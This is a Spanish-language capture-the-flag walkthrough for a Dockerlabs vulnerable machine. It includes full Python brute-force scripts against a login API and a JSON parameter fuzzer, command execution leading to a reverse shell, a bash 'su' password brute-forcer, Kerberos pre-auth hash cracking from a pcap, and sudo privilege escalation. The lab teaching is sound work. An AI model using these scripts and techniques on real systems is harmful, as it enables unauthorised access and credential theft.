Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipsecureLAB.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_run.shsecurelab.tar
Info:
██████╗ ██╗ ██╗███╗ ██╗██████╗ ██████╗ ██╗
██╔══██╗██║ ██║████╗ ██║╚════██╗██╔══██╗██║
██████╔╝██║ █╗ ██║██╔██╗ ██║ █████╔╝██║ ██║██║
██╔═══╝ ██║███╗██║██║╚██╗██║ ╚═══██╗██║ ██║╚═╝
██║ ╚███╔███╔╝██║ ╚████║██████╔╝██████╔╝██╗
╚═╝ ╚══╝╚══╝ ╚═╝ ╚═══╝╚═════╝ ╚═════╝ ╚═╝
==
@+:@ @##@
@++:-----+@ @@#+:----:+#
#-+-----:+:---------:
*::-----++-----::::#
::------+:--------:
#-+------+:-::-----#@
*::+=@@#++-------::@
@+= @++::+#@@@#*#
#-@
*+#++@
+-:::+-@
:-:+:::+
@+::*::::
*::++-::*
=:--:-:++ @-#
#*:---:--++@ @@
@::-:--++*
@::-:++#
*++*
:: Plataforma de máquinas vulnerables ::
:: Desarrollado por Pwn3d! y Dockerlabs - creado por @d1se0 ::
█▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀█
█ FLAG{Pwn3d!_is_awesome!} █
█▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄█
[✔] bc ya está instalado.
[✔] Docker ya está instalado
[!] Limpiando previos contenedores e imágenes
[✔] Cargando la máquina virtual
[✔] Activando máquina virtual
[✔] Máquina activa. Dirección IP: 172.17.0.2
[!] Presiona Ctrl+C para limpiar y salir
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Vemos que hay un puerto 80 abierto, si entramos a el, veremos una pagina normal aparentemente, pero podemos descargarnos un binario en la parte que pone Descargar MatrixCloud, pero si lo ejecutamos veremos que es un binario simple y normal, nada fuera de lo normal, lo que si me atrae es el nombre que tiene puesto matrix, vamos a probar si fuera el nombre de algun directorio en la web o de algun archivo .html, .php, etc...
Si probamos a poner lo siguiente:
Veremos que si nos funciona, veremos una lluvia de codigo en la pagina, lo malo es que no podremos inspeccionar nada, ni utilizar curl o wget para traernos el archivo de la pagina, ni nada de eso para ver su codigo fuente, pero si esperamos un poco, podremos ver que se nos va resaltando palabras en un tono mas anaranjado formando una especie de palabra.
Despues de un rato de analizar esa secuencia de palabras, me da como resultado la siguiente frase:
Tambien podremos capturar la respuesta del servidor mediante BurpSuite y obtener el codigo fuente para poder ver el JavaScript y obtener la palabra.
Teniendo esta palabra, podemos deducir que puede ser de un dominio, le añadiremos un .dl al final ya que esta subido en Dockerlabs.
Lo guardamos y entramos mediante ese dominio.
Veremos un login respecto a una API en la nube, pero las credenciales por defecto no nos van a funciona, si nosotros probamos a meter como usuario admin y como contraseña tendremos que realizar fuerza bruta de la siguiente forma:
brutePass.py
Lo ejecutaremos de la siguiente forma:
Info:
Veremos que nos saco la contraseñalove, si lo probamos en la web entraremos a un panel de administrador, pero que aparentemente no veremos nada en especial.
Curl
Vamos a probar a utilizar curl enviando esa peticion de la misma forma, pero con otro tipo de respuesta para intentar interactuar directamente mediante curl de la siguiente forma:
Info:
Nos pondra que nos esta redireccionando al panel de admin, pero no nos sirve de mucho, si probamos a volcar esta informacion que nos esta proporcionando a un archivo .txt para ver que vemos de la siguiente forma:
Info:
Ahora si leemos nuestro archivo .txt veremos lo siguiente:
Vemos que nos esta volcando una Cookie, ahora que tenemos una posible cookie de sesion, vamos a investigar mas por los directorio.
Si nos vamos al famosos archivo llamado robots.txt pero de la IP de la pagina principal veremos lo siguiente:
Vemos que hay un parametro interesante llamado execute, si entramos dentro desde la web veremos que el metodo no es el correcto:
Por lo que vamos a hacerlo desde curl vimos antes que obtuvimos una cookie, vamos a utilizarla para este parametro de URL podemos deducir que sirve para ejecutar algo, pero no sabemos el parametro en concreto, por lo que vamos a realizar fuerza bruta con un script casero.
La estructura del comando seria algo asi:
findParamAPICommand.py
Lo ejecutaremos de la siguiente forma:
Info:
Veremos que encontramos que el parametro es command por lo que haremos lo siguiente:
Info:
Veremos que el resultado es positivo y que nos ejecuta el comando de forma correcta, por lo que vamos a probar a generarnos una reverse shell.
Antes de ejecutarlo nos pondremos a la escucha de la siguiente forma:
Y si ejecutamos el comando anterior y volvemos a donde tenemos la escucha, veremos lo siguiente:
Vemos que entramos como el usuario www-data, por lo que tendremos que sanitizar la shell.
Sanitización de shell (TTY)
Escalate user administrator
Si nos vamos a la siguiente ruta veremos lo siguiente:
Info:
Vemos que hay una carpeta bastante interesante llamada analisys, si entramos dentro veremos 2 archivos uno de ellos sera un traficDetect.pcap y el otro sera note.txt, si leemos la nota veremos lo siguiente:
Vemos que estaba en proceso de sacar unas credenciales del .pcap que servirian para el usuario administrator, por lo que vamos a investigar que tiene ese .pcap pasandonoslo al host.
Host
Una vez que nos lo hayamos pasado lo abriremos y veremos muchisimo trafico de red y como sabemos que tenemos que encontrar alguna autenticacion vemos que hay una autenticacion por kerberos, que se ha realizado un TGS y un TGT, por lo que vamos a probar a crackear la contraseña de dicha autenticacion, para ello tendremos que obtener varios componentes de la siguiente forma.
Primero filtramos el trafico por kerberos, despues vamos a ver bajo que usuario se encuentra dicha autenticacion:
Con el cname podemos ver a que usuario pertenece, en este caso a empleado1 por lo que nos guardaremos el nombre.
Ahora vamos a ver los datos del AS-REQ que envia la IP del empleado1 al servidor DC del dominio, que en este caso el valor con el que nos tenemos que quedar es con el de cipher que sera el hash que utilizaremos para formar el hash del kerberos.
Ahora tenemos que ver la respuesta en este caso el AS-REP que le responde el servidor DC al usuario empleado1 mediante una serie de pasos de autenticacion con el usuario krbtgt, por lo que nos quedaremos con el salt que hace falta para el hash de kerberos en este caso CORP.LOCALempleado1 y mas abajo vemos bajo que dominio(bosque) se encuentre que sera CORP.LOCAL.
Teniendo todo esto, tendremos que formar el hash para que sea uno valido de kerberos que tendra la siguiente estructura.
Hash Kerberos (Estructura)
Ahora con todos los datos vamos a formar nuestro hash quedando de la siguiente forma:
hash
Ahora se lo vamos a pasar a john para que lo cracke.
Crack Hash Kerberos
Info:
Despues de unos 18 minutos, veremos que nos saca la contraseña que sera Passw0rd2, ahora le tendremos que añadir lo que nos menciono la nota anteriormente pero para descubrir dicha contraseña, tendremos que probar fuerza bruta creandonos un script de la siguiente forma:
suBruteforceUpdate.sh
Lo que vamos hacer es utilizar la palabra Passw0rd2 delante de las palabras del diccionario que pongamos, lo ejecutaremos de la siguiente forma:
Info:
Como resultado vemos que la contraseña es:
Si esto lo probamos para el usuario Administrator veremos que funciona.
Metemos como contraseña Passw0rd2kitty1 y veremos que estamos dentro, por lo que leeremos la flag del usuario.
user.txt
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Por lo que vemos podemos ejecutar como root el binario find, pero si nos vamos a GTFOBins y buscamos la escala del binario no aparecera algo asi:
Pero esto no va a funcionar y podemos deducir que es un binario modificado, por lo que no es el original, vamos a realizarle ingenieria inversa para ver que contiene.
Ghidra
Abriremos ghidra y cargaremos el binario pero antes nos lo tendremos que pasar.
Maquina victima
Host
Una vez que hayamos cargado el binario en la herramienta veremos una funcion bastante interesante en el apartado de funciones llamada find_callback:
Vemos que si buscamos por la palabra leersecretpassroot llamara a la funcion de leer un .txt en la carpeta de root, por lo que tendremos que hacer lo siguiente en la maquina victima:
Info:
Y si ahora hacemos lo siguiente:
Metemos como contraseña rootpasswordsupersecret y veremos que seremos root, por lo que leeremos la flag de root.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-06 07:21 EST
Nmap scan report for 172.17.0.2
Host is up (0.000070s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-title: 403 Forbidden
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.68 seconds
URL = http://<IP>/matrix.php
secure-api-register
nano /etc/hosts
#Dentro del nano
<IP> secure-api-register.dl
URL = http://secure-api-register.dl/
import subprocess
import sys
def brute_force(url, username, wordlist):
try:
with open(wordlist, "r", encoding="utf-8") as file:
for password in file:
password = password.strip()
print(f"[*] Probando: {password}")
# Construir el comando curl
cmd = [
"curl", "-X", "POST", url,
"-H", "Content-Type: application/json",
"-d", f'{{"username": "{username}", "password": "{password}"}}',
"-c", "cookie.txt"
]
# Ejecutar el comando y capturar la salida
result = subprocess.run(cmd, capture_output=True, text=True)
# Revisar la respuesta
if '{"message":"Invalid credentials"}' not in result.stdout:
print(f"[+] Credenciales válidas encontradas: {username}:{password}")
break # Terminar si encuentra una credencial válida
else:
print("[-] No se encontraron credenciales válidas.")
except FileNotFoundError:
print(f"[!] No se pudo abrir el archivo: {wordlist}")
except Exception as e:
print(f"[!] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) != 2:
print("Uso: python3 script.py <wordlist.txt>")
else:
url = "http://secure-api-register.dl/login"
username = "admin"
wordlist = sys.argv[1]
brute_force(url, username, wordlist)
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/admin">/admin</a>. If not, click the link.
<!doctype html>
<html lang=en>
<title>Redirecting...</title>
<h1>Redirecting...</h1>
<p>You should be redirected automatically to the target URL: <a href="/admin">/admin</a>. If not, click the link.
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
#HttpOnly_secure-api-register.dl FALSE / FALSE 0 session eyJsb2dnZWRfaW4iOnRydWV9.Z8mZWQ.Mea36qHN-RiJ3yRKH9dY88gAFV8
import subprocess
import argparse
# Función para realizar la solicitud de prueba
def brute_force(url, cookie_file, wordlist):
# Abrimos el archivo de cookies
with open(cookie_file, 'r') as f:
cookies = f.read().strip()
# Leer el archivo wordlist con manejo de errores en la codificación
with open(wordlist, 'r', encoding='utf-8', errors='ignore') as f:
words = f.readlines()
# Limpiar las palabras del diccionario
words = [word.strip() for word in words]
# Contador de intentos
attempt_counter = 0
# Intentar con cada palabra del diccionario
for word in words:
attempt_counter += 1 # Incrementar el contador de intentos
# Construir el comando curl dinámicamente
curl_command = [
"curl", "-X", "POST", url,
"-H", "Content-Type: application/json",
"-d", f'{{"{word}": "whoami"}}', # Reemplaza <FUZZ> por la palabra actual
"-b", cookie_file
]
# Ejecutar el comando curl
response = subprocess.run(curl_command, capture_output=True, text=True)
# Verificar si la respuesta contiene el resultado esperado
if "result" in response.stdout:
print(f"\nSuccess! Parameter: {word}, Response: {response.stdout}")
break # Si encuentra el parámetro correcto, se detiene el proceso
# Muestra el contador de intentos en la misma línea
if attempt_counter % 10 == 0:
print(f"\rAttempted {attempt_counter} commands...", end='', flush=True)
# Función principal para manejar los parámetros de línea de comandos
def main():
parser = argparse.ArgumentParser(description="Fuerza bruta para encontrar el parámetro correcto en el JSON.")
parser.add_argument("-u", "--url", required=True, help="URL de la API para probar")
parser.add_argument("-c", "--cookie", required=True, help="Ruta al archivo de cookies")
parser.add_argument("-w", "--wordlist", required=True, help="Ruta al archivo de diccionario de palabras")
args = parser.parse_args()
brute_force(args.url, args.cookie, args.wordlist)
if __name__ == "__main__":
main()
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 38296
bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell
www-data@dockerlabs:/$ whoami
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
cd /var/www
ls -la
drwxr-xr-x 2 root root 4096 Mar 5 13:45 analisys
drwxr-xr-x 1 www-data www-data 4096 Mar 6 14:04 html
drwxr-xr-x 1 www-data www-data 4096 Mar 6 14:06 secure-api-register.dl
Aqui os dejo el .pcap para que lo analiceis, yo estuve trabajando en ello y se que tenemos que descubrir una autenticacion que se ha realizado
en alguna parte del trafico de red, teniendo eso creo que podremos descubrir la contraseña que tiene nuestra cuenta de Administrator.
NOTA:
Solo he descubierto que lo que obtengamos en esa contraseña que encontremos tenemos que añadirle una palabra delante con un diccionario de palabras
todo junto, con eso habremos formado bien la contraseña para la cuenta de Administrator.
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA256"
Use the "--format=HMAC-SHA256" option to force loading these as that type instead
Warning: detected hash type "krb5pa-sha1", but the string is also recognized as "HMAC-SHA512"
Use the "--format=HMAC-SHA512" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (krb5pa-sha1, Kerberos 5 AS-REQ Pre-Auth etype 17/18 [PBKDF2-SHA1 128/128 AVX 4x])
Will run 8 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Passw0rd2 (?)
1g 0:00:18:21 DONE (2025-03-05 07:26) 0.000907g/s 9743p/s 9743c/s 9743C/s Passwordas..Parade2
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
#!/bin/bash
mostrar_ayuda() {
echo -e "\e[1;33mUso: $0 [user] [diccionario]"
echo -e "\e[1;31mEspecifica el nombre de usuario y el archivo de diccionario (wordlist)\e[0m"
echo -e "\e[1;33m==================================="
echo -e "\e[1;33mEjemplo de uso: \n"
echo -e "./$0 user wordlist.txt\e[0m"
echo -e "\e[1;33m===================================\e[0m"
exit 1
}
imprimir_banner() {
echo -e "\e[1;34m"
echo "***************************"
echo "* suBruteforce *"
echo "* d1se0 v2.0 *"
echo "***************************"
echo -e "\e[0m"
}
finalizar() {
echo -e "\e[1;31m\nFinalizando el script\e[0m"
exit
}
trap finalizar SIGINT
usuario=$1
diccionario=$2
if [[ $# != 2 ]]; then
mostrar_ayuda
fi
imprimir_banner
while IFS= read -r password; do
if [[ "$(whoami)" == "$usuario" ]]; then
echo -e "\e[1;33m[!] Ya eres el usuario $usuario, no es necesario realizar fuerza bruta.\n\e[0m"
break
fi
modificado="Passw0rd2$password"
echo -e "\e[1;31m[-] Probando $usuario:$modificado\e[0m"
if timeout 0.1 bash -c "echo $modificado | su $usuario -c 'echo HELLO'" > /dev/null 2>&1; then
clear
echo -e "\e[1;32m[+] Contraseña encontrada para el usuario $usuario:$modificado\e[0m"
break
fi
done < "$diccionario"
[+] Contraseña encontrada para el usuario administrator:Passw0rd2kitty1
Passw0rd2kitty1
su administrator
1be10a286d4effa0df103518e39ea316
Matching Defaults entries for administrator on dockerlabs:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
use_pty
User administrator may run the following commands on dockerlabs:
(ALL : ALL) /usr/bin/find